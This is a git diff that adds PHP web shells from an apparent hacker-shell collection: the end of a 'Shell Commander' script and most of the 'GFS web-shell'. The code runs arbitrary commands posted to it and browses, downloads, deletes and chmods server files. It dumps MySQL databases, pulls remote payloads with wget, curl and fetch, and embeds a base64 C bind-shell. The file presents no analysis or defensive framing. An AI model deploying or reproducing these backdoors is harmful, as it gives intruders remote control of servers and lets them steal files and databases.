+ if (!$_SESSION['login'] && !$_POST['cmd']) $prompt = $pr_login;
+
+ if (!$_SESSION['login'] && $_POST['cmd']) {
+ $_SESSION['login'] = $_POST['cmd'];
+ $_SESSION['output'] .= substr($pr_login, 0, -1) . " $_POST[cmd]\n";
+ $prompt = $pr_pass;
+ }
+ }
+
+} else { //........................................................ LOGGED IN
+
+
+
+ /*=-- MEMBERS AREA --=*\
+ \*=-- MEMBERS AREA --=*/
+
+
+ $prompt = set_prompt();
+
+ chdir($_SESSION['dir']);
+
+ if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY
+ $_SESSION['history'] = "";
+
+ if ($_SESSION['history']) $hist_arr = explode("\n", $_SESSION['history']);
+
+ if ($_POST['cmd']) {
+
+ if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY
+ $hist_arr[] = $_POST['cmd'];
+ $_SESSION['history'] = implode("\n", $hist_arr);
+ }
+
+ if (count($hist_arr) > $history_lines) { //........... CUTOFF HISTORY
+ $start = count($hist_arr) - $history_lines;
+ $_SESSION['history'] = "";
+
+ for ($i = $start; $i < count($hist_arr); $i++)
+ $_SESSION['history'] .= $hist_arr[$i] . "\n";
+
+ $_SESSION['history'] = substr($_SESSION['history'], 0, -1);
+ $hist_arr = explode("\n", $_SESSION['history']);
+ }
+
+ $first_word = first_word($_POST['cmd']);
+
+ if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES
+ $_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word));
+ $first_word = first_word($_POST['cmd']);
+ }
+
+ switch ($first_word) {
+
+ case "clear":
+ $_SESSION['output'] = "";
+ break;
+
+ case "exit":
+ session_destroy();
+ refresh();
+ break;
+
+ case "cd":
+ $_SESSION['output'] .= $prompt;
+ $result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
+ $result = explode("\n", $result);
+ $_SESSION['dir'] = $result[count($result) - 2];
+
+ if (count($result) > 2) //.............. WE HAVE AN ERROR MESSAGE
+ $result[0] = "\n" . substr($result[0], strpos($result[0], "cd: ")) . "\n";
+ else $result[0] = "\n";
+
+ $prompt = set_prompt();
+ $_SESSION['output'] .= $_POST['cmd'] . $result[0];
+ break;
+
+ default:
+ $result = shell_exec($_POST['cmd'] . " 2>&1");
+
+ if (substr($result, -1) != "\n") $result .= "\n";
+ $_SESSION['output'] .= $prompt . $_POST['cmd'] . "\n" . $result;
+
+ $rows = preg_match_all('/\n/', $_SESSION['output'], $arr);
+ unset($arr);
+
+ if ($rows > $cache_lines) {
+ preg_match('/(\n[^\n]*){' . $cache_lines . '}$/', $_SESSION['output'], $out);
+ $_SESSION['output'] = $out[0] . "\n";
+ }
+ }
+ }
+}
+
+
+
+ /*=-- FUNCTIONS --=*\
+ \*=-- FUNCTIONS --=*/
+
+
+function my_encode($str) {
+ $str = str_replace("\\\\", "\\", $str);
+ $str = str_replace("\\\"", "\"", $str);
+ $str = str_replace("\\'", "'", $str);
+
+ while (strpos($str, " ") !== false) $str = str_replace(" ", " ", $str);
+
+ return rtrim(ltrim($str));
+}
+
+function set_prompt() {
+ global $_SESSION;
+
+ return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ ";
+}
+
+function first_word($str) {
+ list($str) = preg_split('/[ ;]/', $str);
+ return $str;
+}
+
+function refresh() {
+ global $_SERVER;
+
+ $self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1);
+ header("Location: $self");
+ die;
+}
+
+
+
+ /*=-- HTML PAGE --=*\
+ \*=-- HTML PAGE --=*/
+
+
+$out = substr(preg_replace('/<\/(textarea)/i', '</\1', $_SESSION['output']), 0, -1);
+
+?>
+
+
+ Shell Commander
+
+
+
+
+
+
+ = $out ?>
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/gfs_sh.php.php.txt b/xakep-shells/PHP/gfs_sh.php.php.txt
new file mode 100644
index 0000000..6ac5420
--- /dev/null
+++ b/xakep-shells/PHP/gfs_sh.php.php.txt
@@ -0,0 +1,1575 @@
+
+/*
+*************************
+* ###### ##### ###### *
+* ###### ##### ###### *
+* ## ## ## *
+* ## #### ###### *
+* ## ## #### ###### *
+* ## ## ## ## *
+* ###### ## ###### *
+* ###### ## ###### *
+* *
+* Group Freedom Search! *
+*************************
+GFS Web-Shell
+*/
+error_reporting(0);
+if($_POST['b_down']){
+ $file=fopen($_POST['fname'],"r");
+ ob_clean();
+ $filename=basename($_POST['fname']);
+ $filedump=fread($file,filesize($_POST['fname']));
+ fclose($file);
+ header("Content-type: application/octet-stream");
+ header("Content-disposition: attachment; filename=\"".$filename."\";");
+ echo $filedump;
+ exit();
+}
+if($_POST['b_dtable']){
+ $dump=down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
+ if($dump!=""){
+ header("Content-type: application/octet-stream");
+ header("Content-disposition: attachment; filename=\"".$_POST['tablename'].".dmp\";");
+ echo down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
+ exit();
+ }else
+ die("Error dump! table=".$_POST['tablename']." db=".$_POST['dbname']." host=".$_POST['host']." user=".$_POST['username']." pass=".$_POST['pass']);
+}
+set_magic_quotes_runtime(0);
+set_time_limit(0);
+ini_set('max_execution_time',0);
+ini_set('output_buffering',0);
+if(version_compare(phpversion(), '4.1.0')==-1){
+ $_POST=&$HTTP_POST_VARS;
+ $_GET=&$HTTP_GET_VARS;
+ $_SERVER=&$HTTP_SERVER_VARS;
+}
+if (get_magic_quotes_gpc()){
+ foreach ($_POST as $k=>$v){
+ $_POST[$k]=stripslashes($v);
+ }
+ foreach ($_SERVER as $k=>$v){
+ $_SERVER[$k]=stripslashes($v);
+ }
+}
+if ($_POST['username']==""){
+ $_POST['username']="root";
+}
+////////////////////////////////////////////////////////////////////////////////
+///////////////////////////// Ïåðåìåííûå ///////////////////////////////////////
+////////////////////////////////////////////////////////////////////////////////
+$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE'];
+$r_act=$_POST['r_act'];
+$safe_mode=ini_get('safe_mode'); //ñòàòóñ áåçîïàñíîãî ðåæèìà
+$mysql_stat=function_exists('mysql_connect'); //Íàëè÷èå mysql
+$curl_on=function_exists('curl_version'); //íàëè÷èå cURL
+$dis_func=ini_get('disable_functions'); //çàáëîêèðîâàíûå ôóíêöèè
+$HTML=<<
+
+GFS web-shell ver 3.1.7
+
+
+html;
+$port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
+b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
+pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
+NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
+ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
+ICBkdX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c2VzIGdsb2JhbCAkQUdFTlQNCg0KICMjIHdhcm4gXCJvcmlnIHJlcXVlc3Q6IDw8PFwiLCAkcmVxdWVzdC0+aGVhZG
+Vyc19hc19zdHJpbmcsIFwiPj4+XCI7DQogJHJlcXVlc3QtPnJlbW92ZV9oZWFkZXIocXcoVXNlci1BZ2VudCBGcm9tIFJlZmVyZXIgQ29va2llKSk7D
+QogIyMgd2FybiBcImFub24gcmVxdWVzdDogPDw8XCIsICRyZXF1ZXN0LT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiBteSAkcmVzcG9uc2Ug
+PSAkQUdFTlQtPnJlcXVlc3QoJHJlcXVlc3QpOw0KICMjIHdhcm4gXCJvcmlnIHJlc3BvbnNlOiA8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N
+0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2UtPnJlbW92ZV9oZWFkZXIocXcoU2V0LUNvb2tpZSkpOw0KICMjIHdhcm4gXCJhbm9uIHJlc3BvbnNlOi
+A8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2U7DQp9";
+$port[1] = "tcpmux (TCP Port Service Multiplexer)";
+$port[2] = "Management Utility";
+$port[3] = "Compression Process";
+$port[5] = "rje (Remote Job Entry)";
+$port[7] = "echo";
+$port[9] = "discard";
+$port[11] = "systat";
+$port[13] = "daytime";
+$port[15] = "netstat";
+$port[17] = "quote of the day";
+$port[18] = "send/rwp";
+$port[19] = "character generator";
+$port[20] = "ftp-data";
+$port[21] = "ftp";
+$port[22] = "ssh, pcAnywhere";
+$port[23] = "Telnet";
+$port[25] = "SMTP (Simple Mail Transfer)";
+$port[27] = "ETRN (NSW User System FE)";
+$port[29] = "MSG ICP";
+$port[31] = "MSG Authentication";
+$port[33] = "dsp (Display Support Protocol)";
+$port[37] = "time";
+$port[38] = "RAP (Route Access Protocol)";
+$port[39] = "rlp (Resource Location Protocol)";
+$port[41] = "Graphics";
+$port[42] = "nameserv, WINS";
+$port[43] = "whois, nickname";
+$port[44] = "MPM FLAGS Protocol";
+$port[45] = "Message Processing Module [recv]";
+$port[46] = "MPM [default send]";
+$port[47] = "NI FTP";
+$port[48] = "Digital Audit Daemon";
+$port[49] = "TACACS, Login Host Protocol";
+$port[50] = "RMCP, re-mail-ck";
+$port[53] = "DNS";
+$port[57] = "MTP (any private terminal access)";
+$port[59] = "NFILE";
+$port[60] = "Unassigned";
+$port[61] = "NI MAIL";
+$port[62] = "ACA Services";
+$port[63] = "whois++";
+$port[64] = "Communications Integrator (CI)";
+$port[65] = "TACACS-Database Service";
+$port[66] = "Oracle SQL*NET";
+$port[67] = "bootps (Bootstrap Protocol Server)";
+$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)";
+$port[69] = "Trivial File Transfer Protocol (tftp)";
+$port[70] = "Gopher";
+$port[71] = "Remote Job Service";
+$port[72] = "Remote Job Service";
+$port[73] = "Remote Job Service";
+$port[74] = "Remote Job Service";
+$port[75] = "any private dial out service";
+$port[76] = "Distributed External Object Store";
+$port[77] = "any private RJE service";
+$port[78] = "vettcp";
+$port[79] = "finger";
+$port[80] = "World Wide Web HTTP";
+$port[81] = "HOSTS2 Name Serve";
+$port[82] = "XFER Utility";
+$port[83] = "MIT ML Device";
+$port[84] = "Common Trace Facility";
+$port[85] = "MIT ML Device";
+$port[86] = "Micro Focus Cobol";
+$port[87] = "any private terminal link";
+$port[88] = "Kerberos, WWW";
+$port[89] = "SU/MIT Telnet Gateway";
+$port[90] = "DNSIX Securit Attribute Token Map";
+$port[91] = "MIT Dover Spooler";
+$port[92] = "Network Printing Protocol";
+$port[93] = "Device Control Protocol";
+$port[94] = "Tivoli Object Dispatcher";
+$port[95] = "supdup";
+$port[96] = "DIXIE";
+$port[98] = "linuxconf";
+$port[99] = "Metagram Relay";
+$port[100] = "[unauthorized use]";
+$port[101] = "HOSTNAME";
+$port[102] = "ISO, X.400, ITOT";
+$port[103] = "Genesis Point-to-Point";
+$port[104] = "ACR-NEMA Digital Imag. & Comm. 300";
+$port[105] = "CCSO name server protocol";
+$port[106] = "poppassd";
+$port[107] = "Remote Telnet Service";
+$port[108] = "SNA Gateway Access Server";
+$port[109] = "POP2";
+$port[110] = "POP3";
+$port[111] = "Sun RPC Portmapper";
+$port[112] = "McIDAS Data Transmission Protocol";
+$port[113] = "Authentication Service";
+$port[115] = "sftp (Simple File Transfer Protocol)";
+$port[116] = "ANSA REX Notify";
+$port[117] = "UUCP Path Service";
+$port[118] = "SQL Services";
+$port[119] = "NNTP";
+$port[120] = "CFDP";
+$port[123] = "NTP";
+$port[124] = "SecureID";
+$port[129] = "PWDGEN";
+$port[133] = "statsrv";
+$port[135] = "loc-srv/epmap";
+$port[137] = "netbios-ns";
+$port[138] = "netbios-dgm (UDP)";
+$port[139] = "NetBIOS";
+$port[143] = "IMAP";
+$port[144] = "NewS";
+$port[150] = "SQL-NET";
+$port[152] = "BFTP";
+$port[153] = "SGMP";
+$port[156] = "SQL Service";
+$port[161] = "SNMP";
+$port[175] = "vmnet";
+$port[177] = "XDMCP";
+$port[178] = "NextStep Window Server";
+$port[179] = "BGP";
+$port[180] = "SLmail admin";
+$port[199] = "smux";
+$port[210] = "Z39.50";
+$port[213] = "IPX";
+$port[218] = "MPP";
+$port[220] = "IMAP3";
+$port[256] = "RAP";
+$port[257] = "Secure Electronic Transaction";
+$port[258] = "Yak Winsock Personal Chat";
+$port[259] = "ESRO";
+$port[264] = "FW1_topo";
+$port[311] = "Apple WebAdmin";
+$port[350] = "MATIP type A";
+$port[351] = "MATIP type B";
+$port[363] = "RSVP tunnel";
+$port[366] = "ODMR (On-Demand Mail Relay)";
+$port[371] = "Clearcase";
+$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)";
+$port[389] = "LDAP";
+$port[407] = "Timbuktu";
+$port[427] = "Server Location";
+$port[434] = "Mobile IP";
+$port[443] = "ssl";
+$port[444] = "snpp, Simple Network Paging Protocol";
+$port[445] = "SMB";
+$port[458] = "QuickTime TV/Conferencing";
+$port[468] = "Photuris";
+$port[475] = "tcpnethaspsrv";
+$port[500] = "ISAKMP, pluto";
+$port[511] = "mynet-as";
+$port[512] = "biff, rexec";
+$port[513] = "who, rlogin";
+$port[514] = "syslog, rsh";
+$port[515] = "lp, lpr, line printer";
+$port[517] = "talk";
+$port[520] = "RIP (Routing Information Protocol)";
+$port[521] = "RIPng";
+$port[522] = "ULS";
+$port[531] = "IRC";
+$port[543] = "KLogin, AppleShare over IP";
+$port[545] = "QuickTime";
+$port[548] = "AFP";
+$port[554] = "Real Time Streaming Protocol";
+$port[555] = "phAse Zero";
+$port[563] = "NNTP over SSL";
+$port[575] = "VEMMI";
+$port[581] = "Bundle Discovery Protocol";
+$port[593] = "MS-RPC";
+$port[608] = "SIFT/UFT";
+$port[626] = "Apple ASIA";
+$port[631] = "IPP (Internet Printing Protocol)";
+$port[635] = "RLZ DBase";
+$port[636] = "sldap";
+$port[642] = "EMSD";
+$port[648] = "RRP (NSI Registry Registrar Protocol)";
+$port[655] = "tinc";
+$port[660] = "Apple MacOS Server Admin";
+$port[666] = "Doom";
+$port[674] = "ACAP";
+$port[687] = "AppleShare IP Registry";
+$port[700] = "buddyphone";
+$port[705] = "AgentX for SNMP";
+$port[901] = "swat, realsecure";
+$port[993] = "s-imap";
+$port[995] = "s-pop";
+$port[1024] = "Reserved";
+$port[1025] = "network blackjack";
+$port[1062] = "Veracity";
+$port[1080] = "SOCKS";
+$port[1085] = "WebObjects";
+$port[1227] = "DNS2Go";
+$port[1243] = "SubSeven";
+$port[1338] = "Millennium Worm";
+$port[1352] = "Lotus Notes";
+$port[1381] = "Apple Network License Manager";
+$port[1417] = "Timbuktu Service 1 Port";
+$port[1418] = "Timbuktu Service 2 Port";
+$port[1419] = "Timbuktu Service 3 Port";
+$port[1420] = "Timbuktu Service 4 Port";
+$port[1433] = "Microsoft SQL Server";
+$port[1434] = "Microsoft SQL Monitor";
+$port[1477] = "ms-sna-server";
+$port[1478] = "ms-sna-base";
+$port[1490] = "insitu-conf";
+$port[1494] = "Citrix ICA Protocol";
+$port[1498] = "Watcom-SQL";
+$port[1500] = "VLSI License Manager";
+$port[1503] = "T.120";
+$port[1521] = "Oracle SQL";
+$port[1522] = "Ricardo North America License Manager";
+$port[1524] = "ingres";
+$port[1525] = "prospero";
+$port[1526] = "prospero";
+$port[1527] = "tlisrv";
+$port[1529] = "oracle";
+$port[1547] = "laplink";
+$port[1604] = "Citrix ICA, MS Terminal Server";
+$port[1645] = "RADIUS Authentication";
+$port[1646] = "RADIUS Accounting";
+$port[1680] = "Carbon Copy";
+$port[1701] = "L2TP/LSF";
+$port[1717] = "Convoy";
+$port[1720] = "H.323/Q.931";
+$port[1723] = "PPTP control port";
+$port[1731] = "MSICCP";
+$port[1755] = "Windows Media .asf";
+$port[1758] = "TFTP multicast";
+$port[1761] = "cft-0";
+$port[1762] = "cft-1";
+$port[1763] = "cft-2";
+$port[1764] = "cft-3";
+$port[1765] = "cft-4";
+$port[1766] = "cft-5";
+$port[1767] = "cft-6";
+$port[1808] = "Oracle-VP2";
+$port[1812] = "RADIUS server";
+$port[1813] = "RADIUS accounting";
+$port[1818] = "ETFTP";
+$port[1973] = "DLSw DCAP/DRAP";
+$port[1985] = "HSRP";
+$port[1999] = "Cisco AUTH";
+$port[2001] = "glimpse";
+$port[2049] = "NFS";
+$port[2064] = "distributed.net";
+$port[2065] = "DLSw";
+$port[2066] = "DLSw";
+$port[2106] = "MZAP";
+$port[2140] = "DeepThroat";
+$port[2301] = "Compaq Insight Management Web Agents";
+$port[2327] = "Netscape Conference";
+$port[2336] = "Apple UG Control";
+$port[2427] = "MGCP gateway";
+$port[2504] = "WLBS";
+$port[2535] = "MADCAP";
+$port[2543] = "sip";
+$port[2592] = "netrek";
+$port[2727] = "MGCP call agent";
+$port[2628] = "DICT";
+$port[2998] = "ISS Real Secure Console Service Port";
+$port[3000] = "Firstclass";
+$port[3001] = "Redwood Broker";
+$port[3031] = "Apple AgentVU";
+$port[3128] = "squid";
+$port[3130] = "ICP";
+$port[3150] = "DeepThroat";
+$port[3264] = "ccmail";
+$port[3283] = "Apple NetAssitant";
+$port[3288] = "COPS";
+$port[3305] = "ODETTE";
+$port[3306] = "mySQL";
+$port[3389] = "RDP Protocol (Terminal Server)";
+$port[3521] = "netrek";
+$port[4000] = "icq, command-n-conquer and shell nfm";
+$port[4321] = "rwhois";
+$port[4333] = "mSQL";
+$port[4444] = "KRB524";
+$port[4827] = "HTCP";
+$port[5002] = "radio free ethernet";
+$port[5004] = "RTP";
+$port[5005] = "RTP";
+$port[5010] = "Yahoo! Messenger";
+$port[5050] = "multimedia conference control tool";
+$port[5060] = "SIP";
+$port[5150] = "Ascend Tunnel Management Protocol";
+$port[5190] = "AIM";
+$port[5500] = "securid";
+$port[5501] = "securidprop";
+$port[5423] = "Apple VirtualUser";
+$port[5555] = "Personal Agent";
+$port[5631] = "PCAnywhere data";
+$port[5632] = "PCAnywhere";
+$port[5678] = "Remote Replication Agent Connection";
+$port[5800] = "VNC";
+$port[5801] = "VNC";
+$port[5900] = "VNC";
+$port[5901] = "VNC";
+$port[6000] = "X Windows";
+$port[6112] = "BattleNet";
+$port[6502] = "Netscape Conference";
+$port[6667] = "IRC";
+$port[6670] = "VocalTec Internet Phone, DeepThroat";
+$port[6699] = "napster";
+$port[6776] = "Sub7";
+$port[6970] = "RTP";
+$port[7007] = "MSBD, Windows Media encoder";
+$port[7070] = "RealServer/QuickTime";
+$port[7777] = "cbt";
+$port[7778] = "Unreal";
+$port[7648] = "CU-SeeMe";
+$port[7649] = "CU-SeeMe";
+$port[8000] = "iRDMI/Shoutcast Server";
+$port[8010] = "WinGate 2.1";
+$port[8080] = "HTTP";
+$port[8181] = "HTTP";
+$port[8383] = "IMail WWW";
+$port[8875] = "napster";
+$port[8888] = "napster";
+$port[8889] = "Desktop Data TCP 1";
+$port[8890] = "Desktop Data TCP 2";
+$port[8891] = "Desktop Data TCP 3: NESS application";
+$port[8892] = "Desktop Data TCP 4: FARM product";
+$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application";
+$port[8894] = "Desktop Data TCP 6: COAL application";
+$port[9000] = "CSlistener";
+$port[10008] = "cheese worm";
+$port[11371] = "PGP 5 Keyserver";
+$port[13223] = "PowWow";
+$port[13224] = "PowWow";
+$port[14237] = "Palm";
+$port[14238] = "Palm";
+$port[18888] = "LiquidAudio";
+$port[21157] = "Activision";
+$port[22555] = "Vocaltec Web Conference";
+$port[23213] = "PowWow";
+$port[23214] = "PowWow";
+$port[23456] = "EvilFTP";
+$port[26000] = "Quake";
+$port[27001] = "QuakeWorld";
+$port[27010] = "Half-Life";
+$port[27015] = "Half-Life";
+$port[27960] = "QuakeIII";
+$port[30029] = "AOL Admin";
+$port[31337] = "Back Orifice";
+$port[32777] = "rpc.walld";
+$port[45000] = "Cisco NetRanger postofficed";
+$port[32773] = "rpc bserverd";
+$port[32776] = "rpc.spray";
+$port[32779] = "rpc.cmsd";
+$port[38036] = "timestep";
+$port[40193] = "Novell";
+$port[41524] = "arcserve discovery";
+////////////////////////////////////////////////////////////////////////////////
+////////////////////////////////ÔÓÍÊÖÈÈ/////////////////////////////////////////
+///////////////////////////////////////////////////////////////////////////////
+function rep_char($ch,$count) //Ïîâòîðåíèå ñèìâîëà
+{
+ $res="";
+ for($i=0; $i<=$count; ++$i){
+ $res.=$ch."";
+ }
+ return $res;
+}
+function ex($comd) //Âûïîëíåíèå êîìàíäû
+{
+ $res = '';
+ if (!empty($comd)){
+ if(function_exists('exec')){
+ exec($comd,$res);
+ $res=implode("\n",$res);
+ }elseif(function_exists('shell_exec')){
+ $res=shell_exec($comd);
+ }elseif(function_exists('system')){
+ ob_start();
+ system($comd);
+ $res=ob_get_contents();
+ ob_end_clean();
+ }elseif(function_exists('passthru')){
+ ob_start();
+ passthru($comd);
+ $res=ob_get_contents();
+ ob_end_clean();
+ }elseif(is_resource($f=popen($comd,"r"))){
+ $res = "";
+ while(!feof($f)) { $res.=fread($f,1024); }
+ pclose($f);
+ }
+ }
+ return $res;
+}
+function sysinfo() //Âûâîä SYSINFO
+{
+ global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS;
+ echo(" System information:
+ ");
+ echo (($safe_mode)?("Safe Mode: ON "):
+ ("Safe Mode: OFF "));
+ $row_dis_func=explode(', ',$dis_func);
+ echo ("PHP: ".phpversion()." ");
+ echo ("MySQL: ");
+ if($mysql_stat){
+ echo "ON ";
+ }
+ else {
+ echo "OFF ";
+ }
+ echo "cURL: ";
+ if($curl_on){
+ echo "ON ";
+ }else
+ echo "OFF ";
+ if ($dis_func!=""){
+ echo "Disabled Functions: ".$dis_func." ";
+ }
+ $uname=ex('uname -a');
+ echo "OS: ";
+ if (empty($uname)){
+ echo (php_uname()." ");
+ }else
+ echo $uname."";
+ $id = ex('id');
+ echo "SERVER: ".$server." ";
+ echo "id: ";
+ if (!empty($id)){
+ echo $id." ";
+ }else
+ echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid().
+ "";
+ echo "RemoteAddress: ".$HTTP_SERVER_VARS['REMOTE_ADDR']." ";
+ if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){
+ echo "RemoteAddressIfProxy: ".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR']." ";
+ }
+ echo " ";
+ echo "";
+}
+function read_dir($dir) //÷èòàåì ïàïêó
+{
+ $d=opendir($dir);
+ $i=0;
+ while($r=readdir($d)){
+ $res[$i]=$r;
+ $i++;
+ }
+ return $res;
+}
+function permissions($mode,$file) { //îïðåäåëåíèå ñâîéñòâ
+ $type=filetype($file);
+ $perms=$type[0];
+ $perms.=($mode & 00400) ? "r" : "-";
+ $perms.=($mode & 00200) ? "w" : "-";
+ $perms.=($mode & 00100) ? "x" : "-";
+ $perms.=($mode & 00040) ? "r" : "-";
+ $perms.=($mode & 00020) ? "w" : "-";
+ $perms.=($mode & 00010) ? "x" : "-";
+ $perms.=($mode & 00004) ? "r" : "-";
+ $perms.=($mode & 00002) ? "w" : "-";
+ $perms.=($mode & 00001) ? "x" : "-";
+ $perms.="(".$mode.")";
+ return $perms;
+}
+function open_file($fil, $m, $d) //Îòêðûòü ôàéë
+{
+ if (!($fp=fopen($fil,$m))) {
+ $res="Error opening file!\n";
+ }else{
+ ob_start();
+ readfile($fil);
+ $res=ob_get_contents();
+ ob_end_clean();
+ if (!(fclose($fp))){
+ $res="ERROR CLOSE";
+ }
+ }
+ echo "";
+ echo " ";
+ echo "";
+}
+function save_file($res,$fil, $d) //Ñîõðàíèòü ôàéë
+{
+ unlink($fil);
+ $fp=fopen($fil,"wb");
+ if(!$fp){
+ $res="Error create file!\n".$fp;
+ }else{
+ if (fwrite($fp,$res)){
+ if (fclose($fp)){
+ $res="File save succesfuly!\n";
+ }else $res="Erorr close!\n";
+ }else $res="Error wright!\n";
+ }
+ umask(0000);
+ chmod($fil,0777);
+ return $res;
+}
+function strmass($mass){
+ $res="";
+ foreach($mass as $k=>$v){
+ $res.=$v."|";
+ }
+ return $res;
+}
+function sortbyname($fnames, $d)
+{
+ $filenames="";
+ $foldernames="";
+ $numnames=count($fnames);
+ for($i=0;$i<=$numnames;$i++){
+ if(is_dir($d."/".$fnames[$i])){
+ $foldernames.=$fnames[$i]."|";
+ }else
+ $filenames.=$fnames[$i]."|";
+ }
+ $mass1=explode("|",$foldernames);
+ $mass2=explode("|",$filenames);
+ sort($mass1);
+ sort($mass2);
+ $mass1=strmass($mass1);
+ $mass2=strmass($mass2);
+ $mass=explode("|",$mass1.$mass2);
+ return $mass;
+}
+function list_dir($d) //Íàâèãàöèÿ
+{
+ global $HTTP_REFERER;
+ if(isset($_POST['b_up']) OR isset($_POST['b_open_dir'])){
+ chdir($_POST['fname']);
+ $d=getcwd();
+ }else
+ $d=getcwd();
+ if($_POST['b_new_dir']){
+ mkdir($_POST['new']);
+ chmod($_POST['new'],0777);
+ $d=$_POST['new'];
+ }
+ if($_POST['b_del'] AND is_dir($_POST['fname'])){
+ rmdir($_POST['fname']);
+ chdir($_POST['dname']);
+ $d=getcwd();
+ }
+ if($_POST['b_del'] AND !is_dir($_POST['fname'])){
+ unlink($_POST['fname']);
+ chdir($_POST['dname']);
+ $d=getcwd();
+ }
+ if($_POST['b_change_dir']){
+ chdir($_POST['change_dir']);
+ $d=getcwd();
+ }
+ if($_POST['b_new_file'] OR $_POST['b_open_file']){
+ chdir($_POST['dname']);
+ $d=getcwd();
+ }
+ $dir=read_dir($d);
+ $dir=sortbyname($dir,$d);
+ $count=count($dir);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo "";
+ closedir($d);
+}
+function up_file($fil,$tfil, $box) //Çàãðóçêà ôàéëîâ íà ñåðâåð
+{
+ global $_FILES;
+ if ($tfil==""){
+ $res="Target is failde!";
+ }
+ if ($box=="PC"){
+ if(copy($_FILES["filename"]["tmp_name"],$tfil)){
+ chmod($tfil,0777);
+ if(file_exists($tfil)){
+ $res="Ok";
+ }else
+ $res="False";
+ }else {
+ $res="Error loading file!";
+ }
+ }
+ if($box=="WGET") {
+ $load="wget ".$fil." -O ".$tfil."";
+ $res=ex($load);
+ if(file_exists($tfil)){
+ $res="Ok";
+ }else
+ $res="False";
+ chmod($tfil,0777);
+ }
+ if($box=="FETCH"){
+ $load="fetch -o ".$tfil." -p ".$fil."";
+ $res=ex($load);
+ if(file_exists($tfil)){
+ $res="Ok";
+ }else
+ $res="False";
+ chmod($tfil,0777);
+ }
+ if($box=="LYNX"){
+ $load="lynx -source ".$fil." > ".$tfil."";
+ $res=ex($load);
+ if(file_exists($tfil)){
+ $res="Ok";
+ }else
+ $res="False";
+ chmod($tfil,0777);
+ }
+ if($box=="cURL"){
+ $load="curl"." ".$fil." -o ".$tfil."";
+ $res=ex($load);
+ if(file_exists($tfil)){
+ $res="Ok";
+ }else
+ $res="False";
+ chmod($tfil,0777);
+ }
+ if($box=="fopen"){
+ $data=implode("", file($fil));
+ $fp=fopen($tfil, "wb");
+ fputs($fp,$data);
+ fclose($fp);
+ chmod($tfil,0777);
+ if(file_exists($tfil)){
+ $res="Ok";
+ }else
+ $res="False";
+ }
+ return $res;
+}
+function run_sql($comd, $db,$host, $username, $pass) //Ðåçóëüòàò SQL çàïðîñà
+{
+ if ($comd!=""){
+ if ($db!=""){
+ $connect=mysql_connect($host, $username, $pass);
+ if (!$connect) {
+ $res='Could not connect to MySQL';
+ }
+ mysql_select_db ($db);
+ $row=mysql_query($comd);
+ while ($r= mysql_fetch_row($row)) {
+ $res.=" ".implode($r);
+ }
+ $result=$res;
+ mysql_free_result($row);
+ mysql_free_result($r);
+ mysql_close($connect);
+ }else $result="Select data base!";
+ }else $result="No command!";
+ return $result;
+}
+function db_show($host, $username, $pass) //Âûâîä èìåþùèõñÿ ÁÄ
+{
+ $res="Exists BD: \n";
+ $connect=mysql_connect($host, $username, $pass);
+ if (!$connect){
+ $res="Could not connect to MySQL!\n".mysql_error();
+ }else{
+ $db_list=mysql_list_dbs($connect);
+ while ($row = mysql_fetch_object($db_list)) {
+ $res.=$row->Database . "\n";
+ }
+ mysql_close($connect);
+ }
+ return $res;
+}
+function show_tables($bd, $host, $username, $pass) //Âûâîä èìåþùèõñÿ òàáëèö
+{
+ if ($bd!=""){
+ $res="Exists tables: \n";
